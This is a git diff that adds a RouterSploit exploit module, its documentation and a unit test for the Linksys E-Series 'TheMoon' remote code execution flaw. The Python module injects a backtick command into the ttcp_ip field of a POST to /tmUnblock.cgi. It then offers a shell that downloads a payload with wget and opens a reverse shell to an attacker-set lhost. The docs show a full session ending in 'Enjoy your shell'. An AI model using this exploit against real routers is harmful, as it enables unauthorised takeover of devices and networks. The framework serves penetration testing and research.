diff --git a/docs/modules/exploits/routers/linksys/eseries_themoon_rce.md b/docs/modules/exploits/routers/linksys/eseries_themoon_rce.md new file mode 100644 index 000000000..0eb06165b --- /dev/null +++ b/docs/modules/exploits/routers/linksys/eseries_themoon_rce.md @@ -0,0 +1,60 @@ +## Description + +This module exploits remote code execution vulnerability in multiple Linksys E-Series devices. +Vulnerability was actively used by TheMoon worm. + +## Verification Steps + + 1. Start `./rsf.py` + 2. Do: `use exploits/routers/linksys/eseries_themoon_rce` + 3. Do `uset target [TargetIP]` + 4. Do `run` + 5. If router is vulnerable, it should be possible to execute commands on operating system level. + + 6. Do `set payload reverse_tcp` + 7. Do `set lhost [AttackerIP]` + 8. Do `run` + 9. Payload is sent to device and executed providing attacker with the command shell. + +## Scenarios + +``` +rsf > use exploits/routers/linksys/eseries_themoon_rce +rsf (Linksys E-Series TheMoon RCE) > set target 192.168.1.1 +[+] target => 192.168.1.1 +rsf (Linksys E-Series TheMoon RCE) > run +[*] Running module... +[+] Target appears to be vulnerable + +[+] Welcome to cmd. Commands are sent to the target via the execute method. +[*] For further exploitation use 'show payloads' and 'set payload ' commands. + +cmd > show payloads +[*] Available payloads: + + Payload Name Description + ------- ---- ----------- + bind_tcp MIPSBE Bind TCP Creates interactive tcp bind shell for MIPSBE architecture. + reverse_tcp MIPSBE Reverse TCP Creates interactive tcp reverse shell for MIPSBE architecture. + +cmd > set payload reverse_tcp +cmd (MIPSBE Reverse TCP) > show options + +Payload Options: + + Name Current settings Description + ---- ---------------- ----------- + lhost Connect-back IP address + lport 5555 Connect-back TCP Port + + +cmd (MIPSBE Reverse TCP) > set lhost 192.168.1.4 +lhost => 192.168.1.4 +cmd (MIPSBE Reverse TCP) > run +[*] Using wget method +[*] Using wget to download binary +[*] Executing payload on the device +[*] Waiting for reverse shell... +[*] Connection from 192.168.1.1:41933 +[+] Enjoy your shell +``` diff --git a/routersploit/modules/exploits/routers/linksys/eseries_themoon_rce.py b/routersploit/modules/exploits/routers/linksys/eseries_themoon_rce.py new file mode 100644 index 000000000..e77a4d50d --- /dev/null +++ b/routersploit/modules/exploits/routers/linksys/eseries_themoon_rce.py @@ -0,0 +1,89 @@ +from routersploit.core.exploit import * +from routersploit.core.http.http_client import HTTPClient + + +class Exploit(HTTPClient): + __info__ = { + "name": "Linksys E-Series TheMoon RCE", + "description": "Module exploits remote code execution vulnerability in multiple Linksys E-Series " + "devices. Vulnerability was actively used by TheMoon Worm.", + "authors": ( + "Johannes Ullrich", # worm discovery + "Rew", # original exploit + "infodox", # another exploit + "Michael Messner ", # metasploit module + "juan vazquez", # minor help with msf module + "Marcin Bury ", # routersploit module + ), + "references": ( + "https://www.exploit-db.com/exploits/31683/", + "https://www.securityfocus.com/bid/65585", + "https://packetstormsecurity.com/files/125253", + "https://packetstormsecurity.com/files/125252", + "https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633", + "https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630", + ), + "devices": ( + "Linksys E900", + "Linksys E1000", + "Linksys E1200", + "Linksys E1500", + "Linksys E1550", + "Linksys E2000", + "Linksys E2100L", + "Linksys E2500", + "Linksys E3000", + "Linksys E3200", + "Linksys E4200", + ) + } + + target = OptIP("", "Target IPv4 or IPv6 address") + port = OptPort(80, "Target HTTP port") + + arch = OptString("mipsle", "Target architecture: mipsbe, mipsle") + + def run(self): + if self.check(): + print_success("Target is vulnerable") + print_status("Invoking command loop...") + print_status("It is blind command injection - response is not available") + if self.arch == "mipsbe": + shell(self, architecture="mipsbe", method="wget", location="/tmp") + elif self.arch == "mipsle": + shell(self, architecture="mipsle", method="wget", location="/tmp") + else: + print_error("Target is not vulnerable") + + def execute(self, cmd): + cmd = "-h `{}`".format(cmd) + data = { + "submit_button": "", + "change_action": "", + "action": "", + "commit": "0", + "ttcp_num": "2", + "ttcp_size": "2", + "ttcp_ip": cmd, + "StartEPI": "1", + } + + self.http_request( + method="POST", + path="/tmUnblock.cgi", + data=data, + ) + + return "" + + @mute + def check(self): + response = self.http_request( + method="GET", + path="/tmUnblock.cgi", + ) + + if response and response.status_code in [200, 301, 302]: + return True # target is vulnerable + + return False # target is not vulnerable diff --git a/tests/exploits/routers/linksys/test_eseries_themoon_rce.py b/tests/exploits/routers/linksys/test_eseries_themoon_rce.py new file mode 100644 index 000000000..0c608302c --- /dev/null +++ b/tests/exploits/routers/linksys/test_eseries_themoon_rce.py @@ -0,0 +1,17 @@ +from unittest import mock +from routersploit.modules.exploits.routers.linksys.eseries_themoon_rce import Exploit + + +@mock.patch("routersploit.modules.exploits.routers.linksys.eseries_themoon_rce.shell") +def test_check_success(mocked_shell, target): + """ Test scenario - successful check """ + + route_mock = target.get_route_mock("/tmUnblock.cgi", methods=["GET", "POST"]) + route_mock.return_value = "" + + exploit = Exploit() + exploit.target = target.host + exploit.port = target.port + + assert exploit.check() + assert exploit.run() is None